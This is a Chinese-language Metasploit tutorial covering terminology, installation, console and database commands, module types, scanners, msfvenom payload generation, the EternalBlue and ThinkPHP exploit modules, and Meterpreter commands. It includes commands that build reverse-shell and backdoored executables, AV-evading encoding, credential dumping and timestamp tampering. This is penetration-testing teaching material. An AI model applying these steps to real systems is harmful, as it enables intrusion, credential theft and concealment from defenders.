Metasploit渗透框架
Metasploit渗透框架
hihopkc常见名词解释
POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性
EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性
Payload :有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令
Shellcode :一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向 shell 而得名
Client :客户端
Team Server :服务端, C2 服务器, Beacon Payload 的控制器
Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机。
C2 : Command & Control Server 的简称,也就是命令与控制服务器
MSF简介
The Metasploit Framework 的简称。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode ,并持续保持更新。
metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。
VPS手动安装metasploit
VPS空闲内存需要大于或等于2G,安装时间很长
方法一:
1 | wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run |
方法二:
1 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall |
MSF框架结构
- Kali-metasploit 框架目录路径
/usr/share/metasploit-framework
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
- documentation:包含框架的可用文档。
- lib:metasploit的库文件夹。
- plugins:用来存放metasploit的插件。
- scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
- tools:存放多种的命令行实用程序。
- modules:存储metasploit的模块文件。
- kali Metasploit 更新
1 | msfconsole -v # 查看版本 |
MSF配置数据库
Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据
- 开启 postgresql 数据库
1 | service postgresql start |
-
初始化 MSF 数据库
1 | msfdb init |
创建数据库用户: msf
创建数据库: msf
创建数据库: msf_test
创建配置文件: /usr/share/metasploit-framework/config/database.yml
创建保存MSF框架信息所需数据表
- 启动 msfconsole
1 | msfconsole |
Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口使用Metasploit 中所有模块
Msfconsole 主要用于:
管理 Metasploit 数据库
管理会话
配置启动 Metasploit 模块
启动 msfconsole 时,MSF会使用创建的 msf 用户自动登录到 msf 数据库
- 查看数据库连接状态
1 | msf6 > db_status |
- 连接到其他数据库
1 | msf6 > db_connect 用户名:口令@服务器地址:端口/数据库名称 |
MSF命令查询
常用命令
1 | show exploits – 查看所有可用的渗透攻击程序代码 |
数据库管理命令
1 | msfdb init # 启动并初始化数据库 |
核心命令
1 | ? 帮助菜单 |
模块命令
1 | advanced 显示一个或多个模块的高级选项 |
作业命令
1 | handler 启动一个payload处理程序作为job |
资源脚本命令
1 | makerc 将从开始输入的命令保存到文件中 |
后端数据库命令
1 | analyze 分析关于一个特定地址或地址范围的数据库信息 |
后端凭证命令
1 | creds 列出数据库中的所有凭证 |
开发者命令
1 | edit 用首选编辑器编辑当前模块或文件 |
攻击载荷命令
1 | check 检查一个目标是否易受攻击 |
MSF模块介绍
模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。MSF所有的漏洞测试都是基于模块。
Metasploit 中有以下 7 种不同的模块类型
模块名 | 模块功能 | 模块介绍 |
---|---|---|
auxiliary | 辅助模块 | 辅助渗透(端口扫描、登录密码爆破、漏洞验证等) |
exploits | 漏洞利用模块 | 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞 的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类 |
payloads | 攻击载荷 | 主要是攻击成功后在目标机器执行的代码,比如反弹 shell的代码 |
post | 后渗透阶段模块 | 漏洞利用成功获得meterpreter之后,向目标发送的一些 功能性指令,如:提权等 |
encoders | 编码器模块 | 主要包含各种编码工具,对payload进行编码加密,以便 绕过入侵检测和过滤系统 |
evasion | 躲避模块 | 用来生成免杀payload |
nops | 空指令模块 | 空指令就是空操作,提高paylaod稳定性及维持大小 |
- auxiliary(辅助模块)
用于辅助操作的模块,辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
例如针对各种网络服务的扫描与查点、网络扫描、枚举、漏洞扫描、登录口令暴力破解、模糊测试、爬虫遍历、数据提取等
此外,辅助模块中还包括一些无须加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,例如:拒绝服务攻击。
- exploits(渗透攻击模块)
用于利用漏洞和传递有效负载的模块。利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件。
有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、Web 应用程序漏洞利用和许多其他漏洞。
- payloads(攻击载荷)
用于在利用期间执行操作的模块。攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功能简单的 ShellCode 代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执行,从而完成 ShellCode 中实现的单一功能。
例如建立 Meterpreter 会话、反向 shell 、执行命令、下载和执行程序等。
- post(后渗透阶段模块)
用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多其他操作。
- encoders(编码器模块)
用于有效负载编码和加密的模块,例如 base64 、 XOR 、 shikata_ga_nai 等。这有助于混淆以规避防病毒或 NIDS (网络入侵检测系统)、 EDR (端点检测和响应)等防御。
- evasion(规避模块)
用于规避防御的模块,例如防病毒规避、 AppLocker 绕过、软件限制策略 (SRP) 绕过等。
- nops(空指令模块)
用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,从而提高渗透攻击的可靠性。
https://www.infosecmatter.com/metasploit-module-library/
MSF辅助扫描模块 - auxiliary
MSF主机发现
- 模块路径
modules/auxiliary/scanner/discovery/
- 搜索模块
1 | search aux /scanner/discovery |
arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机
udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。
- 模块使用
arp_sweep 模块使用方法
1 | use auxiliary/scanner/discovery/arp_sweep |
设置好参数后输入 run 启动扫描器
MSF服务扫描
- 服务扫描
确定开放端口后,对相应端口上所运行的服务信息进行挖掘
- 模块搜索
在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以[service_name]_version 和 [service_name]_login 命名
[service_name]_version :可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login :可对某种服务进行口令探测攻击
在MSF终端中可以输入:
1 | search _version |
查看所有可用的服务探测模块
在MSF终端中可以输入:
1 | search _login |
可查看所有服务登录口令探测模块
Telnet服务扫描
- 模块搜索
1 | search scanner/telnet |
1 | telnet登录 |
- 模块使用
1 | use auxiliary/scanner/telnet/telnet_version |
SSH服务扫描
1 | search scanner/ssh |
1 | ssh登录 |
1 | use auxiliary/scanner/ssh/ssh_version |
Oracle数据库扫描
1 | search scanner/oracle |
1 | use auxiliary/scanner/oracle/tnslsnr_version |
SMB服务扫描
1 | search scanner/smb |
1 | SMB枚举 |
1 | use auxiliary/scanner/smb/smb_version |
MSSQL服务扫描
1 | search scanner/mssql |
1 | MSSQL登陆工具 |
1 | msf> use auxiliary/scanner/mssql/mssql_ping |
FTP扫描
1 | search scanner/ftp |
1 | ftp版本扫描 |
1 | use auxiliary/scanner/ftp/ftp_version |
SMTP扫描
1 | search scanner/snmp |
1 | smtp枚举 |
SNMP扫描
1 | search scanner/snmp |
1 | msf> use auxiliary/scanner/snmp/snmp_login |
WMAP
Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,Metasploit内置了 WMAP WEB 扫描器
要先创建一个数据库用来存放扫描数据,初始化 wmap
1 | msf > load wmap |
使用wmap扫描
1 | msf > wmap_sites -a http://202.112.50.74 //添加要扫描的网站 |
MSF端口扫描
模块路径
1 | modules/auxiliary/scanner/portscan/ |
模块搜索
1 | search scanner/portscan |
1 | auxiliary/scanner/protscan/ack |
一般情况下推荐使用 syn 端口扫描器,速度较快,结果准确,不易被对方察觉
- 模块使用
1 | use auxiliary/scanner/protscan/syn |
MSF攻击载荷模块 - payloads
- 模块路径
/usr/share/metasploit-framework/modules/payloads
payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
payload 模块保存在如下路径:
1 | modules/payloads/{singles,stages,stagers}/ |
Payload类型
singles
独立载荷,可直接植入目标系统并执行相应的程序,如: shell_bind_tcp 这个payload 。
adduser 实例 (singles)
添加管理员用户,cmd执行的payload
1 | search adduser |
生成exe程序
1 | search adduser |
stagers
传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为 bind 型和 reverse 型, bind 型是需要攻击机主动连接目标端口的;而 reverse 型是目标机会反连接攻击机,需要提前设定好连接攻击机的IP地址和端口号。
stages
传输体载荷,如 shell , meterpreter 等。在 stagers 建立好稳定的连接后,攻击机将 stages 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stages 。比如得到目标机的 shell ,或者 meterpreter 控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
meterpreter 其实就是一个 payload ,它需要 stagers 和相应的 stages 配合运行, meterpreter 是运行在内存中的,通过注入 dll 文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。
Stageless payload & Staged payload
payload分为 staged (分阶段)和 stageless (不分阶段):
1 | Stageless payload: <platform>/[arch]/<single> |
Stageless Meterpreter 是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的payload都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行
1 | Staged payload: <platform>/[arch]/<stage>/<stager> |
Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理
Playroad | Staged | Stageless |
---|---|---|
Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
Payload生成
msfvenom简介
Msfvenom - Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标机上执行后门上线。
msfvenom选项
1 | Options: |
msfvenom生成payload
生成 payload ,有两个必须的选项: -p 、 -f ,使用 -p 来指定要使用的payload ,使用 -f 来指定 payload 的输出格式
- 查看所有 MSF 可用的 payload 列表
1 | msfvenom -l payloads |
- 查看 MSF 支持的输出格式
1 | msfvenom -l formats |
- 查看可用平台
1 | msfvenom -l platforms |
- 生成 exe 格式的 payload
1 | msfvenom -p windows/meterpreter/bind_tcp -f exe -o 123.exe |
- 使用自定义的 payload
需要使用 “-“,比如:
1 | cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw |
- 对payload进行编码
如果你使用了 -b 选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用 -e 选项来使用编码模块,例如:
1 | msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw |
- 查看可用的编码器
1 | msfvenom -l encoders |
- 迭代编码
使用 -i 选项进行多次编码
某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
1 | msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 |
- 规避字符
使用 -b 选项意味着在生成 payload 的时候对某些字符进行规避。当你使用这个选项的时候, msfvenom 会自动的使用合适的编码器对 payload 进行编码;比如:
1 | msfvenom -p windows/meterpreter/bind_tcp -b \x00 -f raw |
- 使用自定义可执行文件模板
默认的, msfvenom 使用的模板文件保存在 msf/data/templates 目录中,如果你想使用你自己的模板文件,你可以使用 -x 选项来指定,比如:
1 | msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe |
msfvenom使用实例
- msfvenom 生成 windows 可执行程序
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp |
- msfconsole 开启监听
1 | msf6 > use exploit/multi/handler |
- msfvenom 生成 payload ( web payload )
1 | php: |
实例:
生成payload:
1 | msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.132 |
创建监听器:
1 | msf6 > use exploit/multi/handler |
- msfvenom 生成 payload (脚本 payload )
1 | python: |
实例:
1 | msfvenom -p windows/x64/meterpreter_reverse_http |
MSF漏洞利用模块 - exploits
- 模块路径
1 | /usr/share/metasploit-framework/modules/exploits |
Windows - MS17-010
1 | search ms17-010 |
1 | use exploit/windows/smb/ms17_010_eternalblue |
Linux - Thinkphp-RCE
search thinkphp
1 | use exploit/unix/webapp/thinkphp_rce |
Meterpreter扩展模块
meterpreter简介
Meterpreter 是一个高级、动态、可扩展的 payload ,简单理解是一个高级的CMD ,里面封装了 Metasploit 的功能
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻载荷能够获得目标系统的一个 Meterpreter shell 的链接。
Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
meterpreter 特点
Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux ,同时支持 x86、x64 平台,另外, Meterpreter 还提供了基于 PHP 和 Java 语言的实现。 Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。
进入meterpreter
1 | background:将当前session挂起 |
- 常用命令
1 | background #放回后台 |
meterpreter常用shell
reverse_tcp
基于TCP的反弹shel
1 | linux/x86/meterpreter/reverse_tcp |
bind_tcp
基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST
1 | linux/x86/meterpreter/bind_tcp |
reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定
1 | windows/meterpreter/reverse_http |
reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定
1 | windows/meterpreter/reverse_https |
meterpreter命令详解
核心命令
1 | ? – 帮助菜单 |
文件系统命令
1 | cat - 读取并输出到标准输出文件的内容 |
网络命令
1 | arp - 显示主机ARP缓存 |
用户界面命令
1 | enumdesktops - 列出所有可访问的desktops和Windows |
摄像头命令
1 | record_mic - 从默认麦克风记录音频X秒 |
音频输出命令
1 | play - 在目标系统上播放波形音频文件(.wav) |
提权命令
1 | getsystem - 获得系统管理员权限 |
密码转储命令
1 | hashdump - 抓取哈希密码 (SAM) 文件中的值 |
Timestomp
1 | timestomp - 操作修改文件的MACE属性 |